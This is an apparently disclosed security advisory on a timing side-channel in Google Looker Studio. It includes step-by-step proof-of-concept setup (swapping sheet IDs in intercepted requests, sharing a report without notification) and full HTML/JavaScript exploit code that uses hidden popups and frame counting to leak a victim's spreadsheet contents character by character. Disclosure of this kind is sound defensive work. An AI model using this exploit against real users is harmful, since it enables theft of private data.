Tenable Research has identified and responsibly disclosed a vulnerability in Google's Looker Studio. This vulnerability allowed an attacker to infer sensitive data from a victim's data source by measuring the timing of data loading and abusing a frame-counting oracle.
This vulnerability exploited a side-channel attack using two key mechanisms. First, an attacker could create a calculated field in their report that, when a specific string was present in the victim's data, would intentionally delay the data-loading process by performing a resource-intensive operation (e.g., concatenating a large number of characters). Second, the attacker could leveraged a frame-counting oracle, which involved continuously counting the number of iframes on the page until a new one—the feedback iframe—was added, indicating that the data had finished loading.
By comparing the loading time of a "control" page (without the malicious calculated field) to a "test" page (with the field), the attacker could precisely measure the timing difference. If the test page's loading time was significantly longer, it indicated that the calculated field's condition was met, and the specific string being tested for was present in the victim's data. This method allowed for a 1-click, character-by-character exfiltration of sensitive information from any data source, such as a Google Sheet, to which the victim had access.
Proof of Concept:
Set up a mock data source for the attacker’s getColumns HTTP request:
- Create a Google Sheet spreadsheet, for the example, we will name it “Attacker’s spreadsheet”
- Populate all columns from A-Z with random data
Set up the attacker’s report:
- Create a report
- Choose a connector, for example, Google Sheets
- Choose the specific data source we just created, “Attacker’s spreadsheet”
- Remove the check from the checkbox “Use first row as headers” so you can reference columns by A-Z

- Proxy the HTTP requests, and forward the requests, including the getColumns request
- Intercept the createBlockDatasource and publishDatasource HTTP requests, and change the id of the sheet from the attacker’s to the victim’s sheet
- Click Resource → Manage added data sources → edit the added Google Sheet data source, and change the credentials to Viewer Credentials

- Add a chart to the report, preferably a table, by pressing “Add a chart” and choosing a Table
- Choose the victim’s data source to be attached to the table chart, the end result should be “No Data Set Access”
- Add a calculated field by pressing the table → “Add dimension” → “Add calculated field” and paste the formula attached to this report. Paste ~170k “A” characters instead of the placeholder. Change the IF clause accordingly with the text you want to know if it exists in the victim’s sheet as a POC.
- Add an additional page by pressing “Add a page.”
- Add another table of the same victim’s sheet data source in that additional page. This table will act as a comparison test for the time the data source should approximately take to load without the formula in place
- Share the report with the victim, and uncheck the “Notify” checkbox
- Make the report embeddable by clicking File → Embed report → check “Enable Embedding” and press Done
- Host a website and use the following exploit code to attack a victim:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Liv's POC</title>
<style>
button {
padding: 10px;
font-size: 16px;
margin-top: 20px;
}
#result {
margin-top: 20px;
font-size: 18px;
white-space: pre-wrap;
}
</style>
</head>
<body>
<button id="measureButton">Run Stealthy Frame Monitor</button>
<div id="result"></div>
<script>
const TARGET_LENGTH = 5;
function monitorWindow(winRef, label, targetLength) {
return new Promise((resolve) => {
const start = performance.now();
const interval = setInterval(() => {
try {
const currentLen = winRef.frames.length;
if (currentLen >= targetLength) {
const elapsed = performance.now() - start;
clearInterval(interval);
console.log(`${label} reached ${targetLength} frames in ${elapsed.toFixed(1)} ms`);
document.getElementById('result').innerText += `${label} reached ${targetLength} frames in ${elapsed.toFixed(1)} ms\n`;
winRef.close();
resolve(elapsed);
}
} catch (e) {}
if (winRef.closed) {
clearInterval(interval);
resolve(null);
}
}, 50);
});
}
document.getElementById("measureButton").addEventListener("click", async () => {
const urlA = "Looker Studio Overview <attackers-report-id>/page/<second-page-id>";
const urlB = "Looker Studio Overview <attackers-report-id>/page/<first-page-id>";
const features = "width=1,height=1,left=9999,top=9999";
const winA = window.open(urlA, "_blank", features);
const winB = window.open(urlB, "_blank", features);
if (!winA || winA.closed || !winB || winB.closed) {
alert("Please allow pop-ups for this test.");
return;
}
winA.blur();
winB.blur();
window.focus();
const [timeA, timeB] = await Promise.all([
monitorWindow(winA, "Page A", TARGET_LENGTH),
monitorWindow(winB, "Page B", TARGET_LENGTH)
]);
if (timeA != null && timeB != null) {
const diff = timeB - timeA;
const resultDiv = document.getElementById('result');
resultDiv.innerText += `\nTime difference (B - A): ${diff.toFixed(1)} ms\n`;
if (diff > 500) {
resultDiv.innerText += `😈 The sheet contains the string "lmatan".\n`;
}
}
});
</script>
</body>
</html>
- Visit the attacker’s site as the victim, and the data will be exfiltrated.
